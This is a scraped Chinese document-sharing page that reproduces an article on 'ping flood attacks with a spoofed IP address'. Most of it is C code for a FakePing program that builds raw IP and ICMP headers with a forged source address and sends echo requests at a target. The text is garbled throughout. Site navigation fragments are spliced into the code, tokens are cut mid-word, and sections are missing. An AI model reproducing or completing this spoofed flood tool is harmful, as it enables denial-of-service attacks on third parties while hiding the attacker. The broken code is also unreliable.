资源描述:
《伪装ip地址的洪水ping攻击》由会员上传分享,免费在线阅读,更多相关内容在工程资料-天天文库。
1、伪装IP地址的洪水Ping攻击~教育资源库 伪装IP地址的洪水Ping攻击Ping是通过发送ICMP报文(类型8代码0)探寻网络主机是否存在的一个工具,很久以前,一部分操作系统(例如;//16位IP首部校验和 unsignedintsourceIP;//32位源IP地址 unsignedintdestIP;//32位目的IP地址}IP_HEADER;//定义ICMP首部typedefstruct_ihdr{ BYTEi_type;//8位类型 BYTEi_code;//8位代码 USHORTi_cksum;//16位校验和 USHORTi
2、_id;//识别号(一般用进程号作为识别号) USHORTi_seq;//报文序列号 ULONGtimestamp;//时间戳}ICMP_HEADER;//CheckSum:计算校验和的子函数USHORTchecksum(USHORT*buffer,intsize){ unsignedlongcksum=0; +=*buffer++; size-=sizeof(USHORT); } if(size) { cksum+=*(UCHAR*)buffer; } cksum=(cksum>>16)+(cksu
3、m0xffff); cksum+=(cksum>>16); return(USHORT)(~cksum);}//FakePing主函数intmain(intargc,char**argv){ intdatasize,ErrorCode,counter,flag; intTimeOut=200123下一页友情提醒:,特别!0,SendSEQ=0,PacketSize=32; charSendBuf[65535]={0}; P_HEADER));//16位总长度(字节) ip_header.ident=1;//16位标识 ip_
4、header.frag_and_flags=0;//3位标志位上一页123下一页友情提醒:,特别!ip_header.ttl=128;//8位生存时间TTL ip_header.proto=IPPROTO_ICMP;//8位协议(TCP,UDP或其他) ip_header.checksum=0;//16位IP首部校验和 ip_header.sourceIP=i_addr(FakeSourceIp);//32位源IP地址 ip_header.destIP=i_addr(DestIp);//32位目的IP地址//填充ICMP首部 icmp_hea
5、der.i_type=8; icmp_header.i_code=0; icmp_header.i_cksum=0; icmp_header.i_id=2; icmp_header.timestamp=999; icmp_header.i_seq=999; memcpy(SendBuf,icmp_header,sizeof(icmp_header)); memset(SendBuf+sizeof(icmp_header),'E',PacketSize); icmp_header.i_cksum=checksum((USH
6、ORT*)SendBuf,sizeof(icmp_header)+PacketSize); memcpy(SendBuf,ip_header,sizeof(ip_header)); memcpy(SendBuf+sizeof(ip_header),icmp_header,sizeof(icmp_header)); memset(SendBuf+sizeof(ip_header)+sizeof(icmp_header),'E',PacketSize); memset(SendBuf+sizeof(ip_header)+sizeof
7、(icmp_header)+PacketSize,0,1);//计算发送缓冲区的大小 datasize=sizeof(ip_header)+sizeof(icmp_header)+PacketSize; ip_header.checksum=checksum((USHORT*)SendBuf,datasize);//填充发送缓冲区 memcpy(SendBuf,ip_header,sizeof(ip_header)); p;DestAddr,sizeof(DestAddr)); if(ErrorCode==SOCKET_ERROR)pr
8、intf(SendError:%d,GetLastError()); } }